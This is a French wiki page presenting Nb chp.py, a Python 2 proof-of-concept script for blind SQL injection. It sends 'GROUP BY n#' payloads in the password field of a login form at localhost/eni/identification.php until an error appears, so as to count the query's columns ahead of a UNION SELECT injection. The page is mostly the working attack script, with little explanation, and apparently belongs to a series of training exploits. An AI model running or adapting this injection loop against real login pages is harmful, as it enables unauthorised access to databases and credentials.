Nb chp.py

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Domaine Sécurité offensive — injection SQL aveugle
Type Script Python 2 (proof of concept)
Modules httplib, urllib
Voir aussi Mdp.py · Renommons blind.py

Nb chp.py détermine, par injection SQL aveugle, le nombre de champs manipulés par la requête d'authentification cible. Il incrémente une clause GROUP BY n jusqu'à provoquer une erreur : la dernière valeur sans erreur donne le nombre de colonnes.

C'est une étape préalable classique avant une injection de type UNION SELECT (voir Mdp.py).

Script

#!/usr/bin/python
# -*- coding:utf-8 -*-

# script de blind injection
# détermination du nombre de champs

import httplib, urllib

site = "localhost"                # adresse du site à attaquer
port = 80                         # port du site à attaquer
page = "/eni/identification.php"  # page à appeler

# recherche du nombre de champs dans la requête
nombre = 1
while 1:
    injection = "' GROUP BY " + str(nombre) + "#"
    print injection
    parametres = urllib.urlencode({'identif': 'koreth', 'mdp': injection, 'ref': 'identification', 'valider': 'Valider'})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
    conn = httplib.HTTPConnection(site + ":" + str(port))
    conn.request("POST", page, parametres, headers)
    rep = conn.getresponse()
    page_retour = rep.read()
    if 'Erreur' in page_retour:
        break
    nombre = nombre + 1

print 'Le nombre de champs dans la requête est : ' + str(nombre - 1)

conn.close()

Voir aussi

  • Mdp.py — reconstitution d'un mot de passe par injection aveugle
  • Renommons blind.py — découverte des noms de colonnes